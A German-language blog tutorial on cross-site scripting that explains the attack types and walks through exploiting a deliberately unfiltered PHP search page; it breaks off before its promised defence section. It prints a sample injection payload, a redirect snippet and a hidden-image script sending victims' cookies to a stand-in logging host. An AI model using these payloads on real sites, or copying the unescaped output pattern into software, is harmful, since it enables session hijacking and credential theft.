Gehaxelts Blog

IT-Security & Hacking

[TuT] Cross Site Scripting XSS

Es wurde sich ein XSS TuT von mir gewünscht, welches ich nun liefern möchte:

Aufbau:

  1. Was ist eine XSS?

  2. Wie nutze ich XSS aus?

  3. Wie schütze ich mich gegen XSS?

1. Was ist eine XSS?

XSS steht für Cross Site Scripting, was so viel bedeutet wie Über-Kreuz-Schreiben. Bei einer XSS schleust der Angreifer meistens Javascriptcode über eine Eingabe- in eine Ausgabeseite ein, welcher beim Benutzer dann ausgeführt wird.

Es gibt zwei drei verschiedene Arten von XSS:  Zum Einen gibt es die persistenten XSS, bei denen der gefährliche Code im System gespeichert wird, z.B. in einer Datenbank, und dann beim Aufrufen der Seite ausgegeben und damit ausgeführt wird.

Bei der zweiten Art wird die XSS nicht gespeichert, sondern muss vom Opfer “direkt” ausgeführt werden, in dem dieser z.B. eine URL öffnet, in der die Parameter manipuliert sind, und somit der Code geladen und ausgeführt wird.

Zum Dritten kann man eine Seite dazu bringen, clientseitig den Angriff auszuführen. Dabei gibt es in der Seite einen Javascriptcode, welcher die Seite nach dem Laden nachträglich bearbeitet, z.B. aus der URL eine Überschrift ausliest, und diese über einen Text setzt. Dabei könnte man wie bei der zweiten Methode die URL so manipulieren, dass dieser Code von dem bearbeitenden Javascriptcode mit in die Seite eingebaut und ausgeführt wird.

Wie man es sich denken kann, ist die URL erster Art viel interessanter für den Angreifer, da er “nichts” tun muss, um an seine Opfer zu kommen.

Der Angreifer kann bei einem erfolgreichen Angriff die angezeigte Seite beim Opfer nach seiner Lust und Laune bearbeiten, und somit Logindaten abgreifen, in dem er die Eingaben des Benutzers über seinen Server umleitet, oder ganz neue Eingabefelder bzw. Links einfügt.

2. Wie nutze ich eine XSS aus?

Zunächst muss man eine Angriffsstelle finden. Man schaut auf der Zielseite nach Eingaben, bei denen man einen String eingeben kann, welcher wieder ausgegeben wird, z.B. in einer Suche:

<html>
<head>
<title>Suche</title>
</head>
<body>
<form method='get'>
<input type='text' name='suche' value='Sucheingabe'><br>
<input type='submit' value='submit'>
</form>
<?
if(isset($_GET['submit']))
{
 $keyword=$_GET['suche'];
 echo "<span id='search'>Sie suchen nach: ".$keyword."</span>";
 //Datenbankabfrage...
}
?>
</body>
</html>

Wie man sieht, kann man das Suchwort in das Formular eingeben, und es wird auf der Ergebnisseite wieder angezeigt. Da in diesem Beispiel keine weitere Filterung bzw. Entschärfung der Eingabe vorgenommen wird, ist eine XSS möglich, in dem man in die Suche folgendes eingibt:

</span><script>alert('XSS')</script><span>Suche

Diese Eingabe bewirkt, das der ausgegebene HTML-Code geändert wird.

Normale Ausgabe:

[...]<span id='search'>Sie suchen nach: [Meine Eingabe]</span>[...]

Manipulierte Ausgabe:

[...]<span id='search'>Sie suchen nach:</span><script>alert('XSS')</script><span>Suche</span>[...]

Beim Laden dieser Seite erscheint die javascripttypische Hinweisbox mit dem Inhalt “XSS”.

Der Angreifer kann nun beliebigen Javascriptcode anstatt von

alert('XSS') 

einschleusen und damit die Seite beim Nutzer manipulieren.

Mit folgendem Code kann der Angreifer das Opfer eine Seite seiner Wahl umleiten:

document.location.href='http://redirect.to.me';

Der Angreifer kann gespeicherte Cookies auslesen und die für sich missbrauchen, um z.B. an höhere Rechte  zu kommen:

img = document.createElement("img")
img.setAttribute("style","width:0px;height:0px;display:none")
img.setAttribute("src","http://meineseite.to/cookielogging.php?cookies="+document.cookie+"&page="+document.location.href)
document.body.append(img)

Dieser Coder erzeugt ein nicht sichtbares Bild, welches die Cookies und die URL einem PHP Script übergibt, das geladen wird um das Bild anzuzeigen, und umgeht somit die umständliche Arbeit eines Ajax-Requests.

Der Angreifer muss nicht immer ein neues

« [TuT] Sichere Passwörter oVPN Invite »